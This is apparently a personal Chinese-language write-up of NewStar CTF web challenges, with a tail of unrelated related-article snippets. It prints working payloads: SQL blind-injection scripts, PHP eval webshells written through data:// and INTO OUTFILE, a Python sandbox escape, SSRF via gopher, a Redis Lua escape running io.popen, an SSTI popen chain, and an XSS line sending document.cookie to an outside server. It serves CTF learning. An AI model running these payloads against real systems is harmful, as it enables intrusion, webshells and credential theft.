NewStar CTF web wp
文章目录
- week1
- headach3
- 会赢吗
- 智械危机
- 谢谢皮蛋
- PangBai 过家家(1)
- week3
- include me
- blindsql1
- 臭皮的计算机
- 臭皮踩踩背
- 这照片是你吗
- week4
- Pangbai过家家四
- blindsql2
- chocolate
- ezcmsss
- ezpollute
- 隐藏的密码
- weeek5
- pangbai过家家(5)
- redis
- sqlshell
- 臭皮吹泡泡
- 臭皮的网站
week1
headach3
根据提示,在页面的请求头里找到flag
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
会赢吗
打开控制台,拿到第一部分flag
将地址栏改为提示,去到下一关
控制台调用函数,得到flag
进入第三关,看到与第二关很相似,同样是向一个地方发数据,根据响应拿到flag,但是第二关没有完成该功能的函数,猜测是要自己写一个脚本数据过去
看题解才发现原来是要修改if指向的条件值
去到第四关,修改设置禁用js,拿到flag,最后将所有flag进行base64解码即可
智械危机
进来看到提示flag跟robots相关,访问robots.txt,(这里为什么要访问这个地址,也是在一次ai的过程里突然理解)得到一个地址,进入
函数部分的逻辑好理解,接下来解释一下if部分的逻辑
所以我们所看到的当前网页其实就是else语句执行后的结果
在题目的源码里,我们可以看到解码后的命令会被执行,因此,可以发送一个获取flag的命令过去,也就是一个webshell
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
import base64
url='http://127.0.0.1:59206//backd0or.php'
cmd='cat /flag'
base_cmd=base64.b64encode(cmd.encode()).decode()
rev_base_cmd=base_cmd[::-1]
key=base64.b64encode(md5(rev_base_cmd.encode()).hexdigest().encode()).decode()
payload={'cmd':base_cmd,'key':key
}
responce=post(url,data=payload)
print(responce.text)
谢谢皮蛋
做这题之前需要先去学习一些数据库的知识
- 1 order by 2
1可以理解为输入的id,是一个占位符,按第二列排序用来测试列数,如果没有两列则会报错 - -1 union select 1,2
-1同样是占位符,union的作用是将注入语句合并到原始语句中,select 1,2用于从数据库中返回两个常量值1,2 - -1 union select 1,database()
拿到数据库名,接下来查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
全都看一遍,拿到flag
PangBai 过家家(1)
根据提示,在网络里找到下一关的地址
输入查询参数,进入下一关
第三关采用post方法发送请求,先下一个hackbar插件
这里是真不懂有什么逻辑在其中了,第四关wp说将刚才发的请求再重新发一遍,为什么要这么做呢
根据提示将用户代理改为Papa/1.0,进入下一关
同样,我们再发一次请求,得到
import requests# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {"Host": "8.147.132.32:36002","User-Agent": "Papa/1.0","Content-Type": "multipart/form-data; boundary=abc","Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}# 构造 form-data 数据
data = ("--abc\r\n"'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'"\r\n""123\r\n""--abc\r\n"'Content-Disposition: form-data; name="say"\r\n'"\r\n""玛卡巴卡阿卡哇卡米卡玛卡呣\r\n""--abc--\r\n"
)# 发送 PATCH 请求
response = requests.patch(url, headers=headers, data=data)# 打印响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)
hackbar莫名出了点问题,后面就没做了
week3
include me
题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来
<?php
highlight_file(__FILE__);
function waf(){if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){die("兄弟你别包");};
}
if(isset($_GET['phpinfo'])){phpinfo();
}//兄弟你知道了吗?
if(!isset($_GET['iknow'])){header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}waf();
include $_GET['me'];
echo "兄弟你好香";
?>
传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过
payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
看wp时发现一些细节需要注意
- 编码后最后不能是+,会被解析成空格
- 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
blindsql1
提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
测试一下,发现空格,union,=,/都被过滤了
- =号的绕过可以用like或in
- 空格和/的绕过可以用括号
- and前面是字符串或者括号可以不加空格
写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑
- 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
- ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+'_-':time.sleep(0.2)tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break
到25时爆破速率明显减慢,猜测只有这几张表
courses,secrets,students
接下来爆破secrects列名
随后在三列中翻翻flag
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+string.punctuation:time.sleep(0.2)tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break
臭皮的计算机
根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了
做不下去了,开wp看一看,提到用全角字符绕过,Google一下
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过
str='oscatflag'
res=''
for i in str:res+=f'chr({ord(i)})+'
print(res)
结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符
_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
臭皮踩踩背
这道题似乎出什么问题了
这照片是你吗
触及到知识盲区了,顺着wp做一做
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息
随后,根据flask框架,猜测主程序名是app.py
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置
之后因为本地抓包的配置一直没弄好,就一直卡在这里了
week4
Pangbai过家家四
gpt分析一手
直接去看main.go源码
.User输入字符串会被直接拼接,类似SSTI注入,测试xss脚本
能用,但是不熟悉攻击手法,于是去看wp,关注渲染过程的核心代码
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)
那么现在我们知道了,{{.}}是传递给模板的内容,可以通过.访问它的下级。可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func “param” }} 的方式传入变量。并且还支持管道符运算。
但是这个.所能控制的不是一直都是我们传入的内容吗,自己访问自己没意义啊,但是如果点能访问其他内容呢?
在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].
func (s Stringer) String() string {return "[struct]"
}
type Helper struct {StringerUser stringConfig Config
}
注意到恰好Helper是stringer对象,所以如果调用点会返回[struct]
拿到JwtKey
接下来去看另一个路由
✅ JWT 伪造漏洞:如果已拿到 JwtKey,可以伪造 Papa 身份绕过权限检查。
✅ 路径遍历漏洞:如果 config.SignaturePath 没有限制,可以利用 PUT 方法覆盖任意文件。
那么接下来其实思路很明确了,用JwtKey签一个token,再利用put方法更新path路径,get请求渲染页面即可实现任意文件访问。
唯一的问题其实是限制了只能本地访问,当然我们在本地复现时不需要考虑这个,但是在打比赛的时候就需要用SSRF才能绕过,其实一开始进来就看见了这么一个函数
func (c Helper) Curl(url string) string {fmt.Println("Curl:", url)cmd := exec.Command("curl", "-fsSL", "--", url)_, err := cmd.CombinedOutput()if err != nil {fmt.Println("Error: curl:", err)return "error"}return "ok"
}
所以调用curl 函数
后来测试发现想复杂了,其实直接用简单的两层括号就可以拿到ok
{{.curl “http://localhost:8000”}}
因为curl发起的命令只能发送get请求,所以还需要想办法发put请求,这里因为curl命令支持gopher协议,所以
先去签一个jwt
再让gpt写一个put协议的原始报文,注意数据以原文传,并且不能加换行,否则会影响到文件读取
PUT /favorite HTTP/1.1
Host: localhost:8000
cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiUGFwYSJ9.yjIwYcy92eqIx6mcAfxTRlhFIglUfiP7uPEmUZ85evY
Content-Type: text/plain
Content-Length: 18/proc/self/environ
然后卡了一会,最后发现报文需要二次urlencode才可以通过
奇怪的是接下来访问favorite路由还是没拿到flag,又试了一次总算拿到flag了,这里过程发现一个点,jwt签名的时候,不管是Name还是user都可以正常读到papa,可能是因为只有一个数据的原因吧。这里如果不看wp哪怕能够做到任意文件读我估计也想不到flag在环境变量里。学到了这种手法
proc/self/environ
blindsql2
这里看不到回显数据了,我们在上一个盲注中可以通过Alice来判断是否注入成功,在这里则得不到信息,不急,先测试几手,发现空格,等号,union,/被过滤,输入单引号时页面突然无内容,猜测使用单引号闭合
到这里其实是跟1一样的,唯一的区别在于2没有了回显数据,我们需要找一个点来判断注入是否成功。
for i in tqdm.trange(1,100):for c in string.digits+string.punctuation+string.ascii_letters:time.sleep(0.01)table='(select(group_concta(table_name)from(information_schema.tables)where(table_name=database())))'char=f'ord(mid({table},{i},1))'bl=f'(ord{c})like({char})'p=f'Alice\'and({bl})'
写到这里卡住,测试无论是有的数据还是没有的数据都是一样的返回结果,Google一手,发现时间盲注的手法
id=1’ and if(ascii(substr(database(),1,1))>100,sleep(3),0)–+
如果猜对了就睡三秒,那么怎么通过这一特性写脚本呢,继续Google,找到盲注相关脚本
time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 1:print(i)else:print(i)break
到这里就可以写出完整脚本了,可以预见的是脚本的运行时间一定很长,趁这个时间去看看wp,果然也是时间盲注,不过本地自己写的脚本爆的前几个字符没啥意义,可能脚本有问题还需要调整。检查发现在sql语句中if需要加括号,sleep时间不能太短,否则会因为网卡1s而匹配错误结果
完整脚本
import string,time,tqdm,requests
url='http://127.0.0.1:23237/'
result=''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01)tables = f'(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char = f'ord(mid({tables},{i},1))'b = f'({char})in({ord(c)})'p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:result += cprint(result)break
chocolate
输入’尝试sql注入,爆出一些信息
看上去没有文件包含点,只是需要做一些绕过,字母被过滤,第一个数字不能为0,那么采用八进制,在前面加上一个空格的url编码%20即可绕过,
成功绕过,拿到可可的值和提示,crypto上线,看后缀猜测应该是php,过了一道简单的凯撒加密
奇怪的是进来竟然是404,开wp看一眼,原来是因为大小写的问题,b需要大写
还是熟悉的绕过,gpt一手,找到php的弱类型特点来绕过
遗憾的是在这里恰好是一个严格比较,所以绕不过去,Google一手找找资源
<?php
$number = 1 + "10.5"; // $number = 11.5 (float)
$number = 1 + "-1.3e3"; // $number = -1299 (float)
$number = 1 + "bob-1.3e3"; // $number = 1 (int)
$number = 1 + "2admin"; // $number = 3 (int)
$number = 1 + "admin2"; // $number = 1 (int)
?>
找到一种思路,使用hash碰撞,但是下载工具似乎出了点问题,不是梯子的原因,但是一直进不去
需要进官网去找这个程序,直接下会出问题
https://marc-stevens.nl/research/hashclash/
新建一个文件放入任意内容,随后运行这个命令
fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt
在powshell里需要加入./才能正常运行
可惜还是没绕过,这里就有点想不通了,bp抓个包看看,这里说一下bp怎么抓本地靶场的包,折腾了一个多小时
首先需要把127.0.0.1替换为自己的ipv4地址,输ipconfig命令就可以看到
gpt一手
试试开启透明代理
后来突然想通了哪里出的问题,我们在浏览器是用了一个代理,这个代理设置了一个监听地址,而这个地址一定不能是题目的地址,因为当我们发包时就相当于把题目的数据发到代理设置的这个地址,如果你的 Burp 监听 了 10.147.42.151:19830,但你请求的目标也是 10.147.42.151:19830,造成了 Burp 代理自身的死循环。
但是发现替换成ip4地址的时候莫名无法访问了
最后尝试用bp的内嵌浏览器,可以正常抓包了
还是不对,看了看wp,思路就是这个,不信邪又用工具跑了一次,还是不对,那这个工具可能是有点问题,也有可能是要文件的MD5值,我是直接ctrl+a去计算的url编码。wp从网上直接找了组数据,那么我也去找找看,找到两组数据都可以
cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
到这里其实就绕过了,再看下一层绕过,miao==md5(miao),一个弱比较,在前面搜集信息的时候就看到思路了,找到字符串的哈希值0e开头,计算这个0e开头的哈希值也是0e开头,完成绕过
moew=0e215962017
md5=0e291242476940776845150308577824
md5和双md5之后都是0e开头的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
这里奇怪的是网上找的数据明明没有问题,但就是用不了,用wp的数据一下就过了,下一个绕过就更简单了,写个脚本使前几个字符是8031b即可
from Crypto.Util.number import *
from sympy import *
from Crypto.Cipher import AES
from tqdm import tqdm
from libnum import *
import string
from hashlib import *
import os
import gmpy2
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
from bs4 import BeautifulSoup
import requests
import requests# headers = {
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'}
# for i in range(500):
# url = "http://127.0.0.1:55146//{{()['__cla'+'ss__'][__base__]['__subcla'+'sses__()'][" + str(i) + "].__init__.__globals__}}"
# res = requests.get(url=url, headers=headers)
# print(res.status_code)
# if 'os' in res.text:
# print(i)
#
# # payload: {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
# from pwn import *
# host = 'challenge.utctf.live'
# port = 7150
# conn = remote(host, port)
# for i in range(1,50):
# message = chr(i)
# print(message)
import hashlib
import itertools
import stringdef find_matching_string():charset = string.ascii_letters + string.digits # 允许的字符(大小写字母+数字)for length in range(1, 10): # 逐步增加字符串长度for s in itertools.product(charset, repeat=length):test_string = ''.join(s)md5_hash = hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith("8031b"):return test_string, md5_hashresult_string, md5_value = find_matching_string()
print(f"找到匹配的字符串: {result_string}")
print(f"对应的 MD5 哈希: {md5_value}")
去final.php,大概看一下应该是反序列化的内容,通过post方法传入food,food进行反序列化
到晚上思维开始疲惫了,明天再看吧
看起来思路是需要构造一个序列化字符串,然后绕过chocolate匹配,就可以拿到信息,本来想自己写脚本,结果gpt把字符串给出了,尝试能不能用吧
payload = 'O:9:"chocolate":2:{s:3:"cat";s:4:"test";s:5:"kitty";s:4:"test";}'
Google半天没找到类名检测怎么绕过,干脆直接看wp吧,wp说用大小写绕过,提交数据没反应,那问题应该出在gpt构建的序列化字符串上,我们自己构造一个
抓个包把原始数据传过去,拿到最后一个参数
可可液块=1337033可可脂=202409黑可可粉=51540
这个页面就没有信息了,回主页面试一下,糖粉输10000显示太甜,输1000显示太苦,所以最后一个应该是要靠二分法猜出来,大概十次左右试出是2042
ezcmsss
进来随便看看,cms是文件管理系统,没找到啥有用的,dirsearch扫一扫
下载www.zip拿到一个假的flag,但至少说明思路没问题
估计是从ctfshow改的题,解了一下misc的flag也不对,大概率还是要去看源码,可能利用网站的更新日志,网站本身还是老版本这个思路
突然找到一个有意思的东西
本来想抓包爆破,但是一想需要验证码,爆破也不好搞,去给的极致站点看了看也没什么,没剩啥思路了,去注册登录一手,发现有可能存在文件上传。刚想试试是不是前端校验,在选择分类那里不让选,等于把文件上传杀死了。头大,去看一眼wp。好吧,原来是漏看了一个文件导致错过了后门的账号密码
成功登录
进来逛一逛啥也没找到,倒是有上传点,但是一想都进后台了要上传干嘛。从项目地址去看了看接下来的版本更新日志,也没找到啥思路。有意思的是这时候注意到清理缓存这个选项,进来看看有一些缓存的数据地址,进去一看还真有东西,感觉应该在这里,但是没找到,再去看一眼wp
没想到跟我想的方向不搭边,这时候还是感觉到有一点挫败感的,不过没事,从哪里跌倒就从哪里爬起来。其实不应该看各版本的更新日志,而是应该Google这个版本下的漏洞
这个版本有一个任意文件下载漏洞,看了下wp,因为我们是在本地复现,所以无法通过公网url下载,需要将.zip文件上传到容器里再下载解压。为什么要这么做呢,我们需要传入木马拿到网站的控制权,但是直接上传不知道文件在哪,而这个任意文件下载漏洞可以找到文件的位置,并且将下载行为改为解压缩行为,就可以拿到木马的位置,完成getshell。找一个上传点。
抓个包找到上传路径
/static/upload/file/20250317/1742220428158999.zip
说明上传成功了
接下来照葫芦画瓢,利用CVE的数据包
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.48.135
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.48.135
Referer: http://192.168.48.135//admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tnfljdrsfd3fdf7qin35gf26v4
Connection: closeaction=start-download&filepath=mutisite&download_url=/static/upload/file/20250317/1742220428158999.zip
sessionid要改成自己的
漏洞复现
跟着y4走了一下流程到最后发现404,回头检查才发现压缩文件时windows自动把马杀了。。。
没事,重来一手
/static/upload/file/20250317/1742222745119562.zip
最后还是404,猜测可能是下载插件的环境不一样导致的,抓的数据包跟复现内容总有差异,继续检查,发现在下载时没有用绝对地址,应该用http,继续检查,发现要把插件卸载了再下才可以,不然会触发禁止重复下载的逻辑
到这里就成功下载下来了
但是按照复现路径又报404了,这里刚要崩溃的时候突然试出来路径,原来是还需要在文件前加上文件夹名字,而wp里的filepath纯扯淡
随后拿到flag
总算打完了
ezpollute
看题目应该是一个js原型链污染
这道题很想试试,可惜平台没把源码放出来,做不了啊
隐藏的密码
进来看到一个登录页面,从提示来看不太可能爆破进去,dirsearch扫一扫
请求太多会报错,只能做一个简单的扫描,这个就更头大了,找不到一点信息,sql,ssti尝试了,还以为做了请求的限制
尝试了一下降线程没用,还是会达上限,加了延时到十个任务每秒还是没用,难怪只有四解,不做了,继续硬做的话等探测完都过去几个小时了
weeek5
pangbai过家家(5)
box和send两个路由
可以看到flag就在cookie里,想办法拿出来即可,可以利用xss,但是有过滤
用gpt没绕过,第一次做xss题,去看看wp
function safe_html(str: string) {return str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '')
}
<script
>alert(1)</script
>
可以利用js的fetch函数发请求到自己服务器上拿信息
fetch("http://your-server.com/?data=" + document.cookie)
然而复现中环境是不出网的,即访问不到服务器,所以需要想其他办法带出数据,如果把获取cookie的函数发过去,bot处理后我们在信箱是不是能看见cookie
fetch("https://jsonplaceholder.typicode.com/posts", {method: "POST", // 请求方法headers: {"Content-Type": "application/json" // 设置请求头},body: JSON.stringify({ title: "Hello", body: "World" }) // 发送数据
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error("Error:", error));
<script
>
fetch('/api/send', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>
顺利拿到flag
redis
简单的说就是一个高性能的键值对数据库,在网上找了一些渗透的命令都无效,怀疑是不是我的问题,看一眼wp
这个确实是一个命令面板没毛病,但是背后过滤了一些东西,所以set命令写入shell不可用,先去www.zip看看源码过滤了什么吧
redis-cli -h [目标ip] -p [redis端口] #连接redis服务器config set dir /var/www/html #设置数据库备份文件的放置路径config set dbfilename shell.php #设置备份文件的文件名set x "<?php @eval($_POST['tt']);?>" #添加一个键”x”,值为一句话木马save #保存
Redis Lua 沙盒逃逸和远程代码执行 (CVE-2022-0543)
试试里面的脚本
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
结合gpt改改脚本即可拿到flag
sqlshell
提示flag不在数据库,应该是要通过某种sql执行命令的方式,Google看看
这次终于不过滤空格了,可惜也没有回显,怎么拿到数据呢
(select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php")
select * from information_schema.session_variables where
variable_name=‘secure_file_priv’
其实这道题思路还是没问题的,但是对sql语法不熟悉导致没能成功写进去
先测试列数
Alice' order by 4#
到4无回显,说明有三列
Alice' union select 1,2,3#
看哪些字段会回显
#查询数据库 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#获取数据库中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#获取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#获取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
sqlmap使用
Alice' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#
getshell
臭皮吹泡泡
进来一看大概率是反序列化的一些东西
class let_me
{public $let_me;public $time;public function get_flag(){$runcode="<?php #".$this->let_me."?>";$tmpfile="code.php";try {file_put_contents($tmpfile,$runcode);echo ("we need more".$this->time);unlink($tmpfile);}catch (Exception $e){return "no!";}}public function __destruct(){echo "study ctf let me happy";}
}
其他几个类没感觉有什么用,先看let_me类,可以传入php代码,但是需要想办法绕过#注释,写入文件后有一个字符拼接,在这之后文件被销毁,可否在文件销毁前调用tostring方法呢,看样子需要让time赋值为其他类的实例
class ctf
{public $ctf;public function __tostring(){if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1);return "can can need";}
}
突然想到,如果die了,是不是就不会调用销毁文件方法,理论形成,实践开始.
一直没打通,看了一眼wp,才发现细节处理有问题
继续看了眼wp,其实思路就是这么个思路,唯一的区别在于绕过#的方式不同,我们测试一下换行能不能绕过#
没绕过去,所以问题出在绕过这里,还是得用标签闭合来绕过。第二个问题是pop链的起点没找对,反序列化时可不会自动调用get_flag方法,所以还需要一个happy的wakeup方法。一下子被绕的有点晕,先放一放回头再来看
臭皮的网站
头有点疼下次再回来解吧
相关文章:
NewStar CTF web wp
文章目录 week1headach3会赢吗智械危机谢谢皮蛋PangBai 过家家(1) week3include meblindsql1臭皮的计算机臭皮踩踩背这照片是你吗 week4Pangbai过家家四blindsql2chocolateezcmsssezpollute隐藏的密码 weeek5pangbai过家家(5)redissqlshell臭皮吹泡泡臭皮…...
Docker运行postgreSQL,由于异常启动或者退出后,提示could not locate a valid checkpoint record
pg_resetwal 是 PostgreSQL 的“急救工具”,用于在极端情况下修复因 WAL 或控制文件损坏导致的启动问题。 但需注意: 风险极高,可能导致数据不一致。必须立即转储并恢复,避免直接在修复后的数据库中执行写操作。仅在备份后使用&…...
Leetcode 刷题笔记1 图论part01
图论的基础知识: 图的种类: 有向图(边有方向) 、 无向图(边无方向)、加权有向图(边有方向和权值) 度: 无向图中几条边连接该节点,该节点就有几度࿱…...
文件管理系统
前言:之前我们讨论的是被打开文件的管理,那么未被打开的文件是如何管理的呢? 1.认识磁盘设备 1.1磁盘的物理结构 磁盘是由盘片(盘面,扇区,磁道,柱面),磁头,…...
荣耀手机卸载应用商店、快应用中心等系统自带的
1.下载abd ADB Download - Get the latest version of ADB and fastboot 2.手机打开开发者选项 3.手机接电脑打开USB调试 4.下载MT管理器查看系统包名 D:\1.LFD\ADB\platform-tools-latest-windows\platform-tools>adb shell adb.exe: no devices/emulators found 这边是…...
结合基于标签置信度的特征选择方法用于部分多标签学习-简介版
假设 部分多标签学习(PML)假设:假设样本的标签集合中存在伪正标签,即某些标签可能是错误的。目标是从候选标签集中识别出真实标签。特征与标签的关系假设:假设不同的标签对应的特征子空间可能是不同的,而不…...
【小白向】Word|Word怎么给公式标号、调整公式字体和花括号对齐
【小白向】Word|Word怎么给公式标号、调整公式字体和花括号对齐 我的版本:Word 2021 如需快速查看关键步骤,请直接阅读标红部分。 如果遇到无法调整的情况,可以直接下载我的示例文档进行参考:花括号和其他的示例公式.…...
基于香橙派 KunpengPro学习CANN(2)——Ascend Extension for PyTorch 配置与安装
将 PyTorch 网络迁移到昇腾平台并执行训练或推理,直接使用昇腾提供的构图接口构图。Ascend Extension for PyTorch插件用于适配PyTorch框架,可以使用昇腾AI处理器的算力。 1 pip 安装 # 下载PyTorch安装包 wget https://download.pytorch.org/whl/cpu/…...
【备赛】遇到的小问题-1
问题描述-1 想实现的功能是,通过ADC实时测量某引脚的电压及其占空比。 可以通过旋转电位器,更改其电压。 首先我定义了这几个变量 uint32_t adc_value;//HAL库函数里面得出的采样值(实时更新) uint32_t percentage6;//占空比,随着adc_val…...
Browser Use的安装和使用
文章目录 一、介绍二、安装教程1、使用Conda创建虚拟环境2、激活环境3、安装browser use4、安装Playwright5、克隆git仓库6、安装项目的依赖 三、使用教程1、启动WebUI2、案例13、案例2 一、介绍 背景 Browser Use:用AI控制你的浏览器,你可以使用它帮你…...
碰一碰发视频saas系统技术源头一站式开发文档
碰一碰发视频系统技术源头一站式开发文档 一、引言 在数字化信息传播高速发展的当下,如何让视频分享更便捷、高效,成为商家和开发者们关注的焦点。“碰一碰发视频”系统以其独特的交互方式和强大的功能优势,为视频分享领域带来了革命性变革。…...
Spring Boot 静态访问配置属性的解决方案
前言 在Spring Boot开发中,静态访问配置信息是一个常见需求,尤其是在工具类、常量类或非Bean类中直接获取配置值。 问题背景 假设我们的应用需要从application.yml中读取配置项app.logotype,并在工具类、静态方法或非Bean类中直接访问该值。…...
NLP高频面试题(四)——BN和LN的区别与联系,为什么attention要用LN
在深度学习模型中,Normalization是一种极为重要的技巧,Batch Normalization(BN)和Layer Normalization(LN)是其中最为常用的两种方法。然而,二者在实际应用中有着明显的区别与联系,尤…...
深度学习定义与分类【详细易懂 初学者友好~】
深度学习(Deep Learning)是机器学习的一个子领域,它基于人工神经网络(Artificial Neural Networks,ANN)的理论和架构,通过构建多层(即“深度”)的神经网络结构来学习数据…...
二、小白学JAVA-认识数据类型【变量】
1、实际案例类比 初中以上数学,就知道有有理数、正数、负数、0、小数、大写的数字、语文。 2、数据类型介绍 public class Main {public static void main(String[] args) {// 数据类型byte i_byte 12; // 标识数据范围小,但是节省内存>网络传输…...
UNI-APP uts插件 支持ANDROID 监听手机状态
插件地址 https://ext.dcloud.net.cn/plugin?id22646 模块 import {startPhoneListener,stopPhoneListener,checkIsAutoRecord,toCallAutoRecorderPage,navigateToCallRecordingSettings,jumpToPermissionPage,makePhoneCall,allRecorderFilesAction,registerSmsReceiver,} f…...
AI入门7:python三种API方式调用本地Ollama+DeepSeek
回顾 书接上篇:各种方式搭建了本地知识库: AI入门:AI模型管家婆ollama的安装和使用-CSDN博客 AI入门2:本地AI部署,用ollama部署deepseek(私有化部署)-CSDN博客 AI入门3:给本地d…...
SQL SERVER日常运维巡检系列—结构设计
前言 做好日常巡检是数据库管理和维护的重要步骤,而且需要对每次巡检日期、结果进行登记,同时可能需要出一份巡检报告。 本系列旨在解决一些常见的困扰: 不知道巡检哪些东西 不知道怎么样便捷体检 机器太多体检麻烦 生成报告…...
前端剪贴板操作:从传统方法到现代方案
一、传统复制实现原理 这个copy函数展示了经典的剪贴板操作方案: function copy(color) {const input document.createElement("input");input.value color;document.body.appendChild(input);input.select();document.execCommand("copy")…...
E1-数组的平衡点2(前缀和)
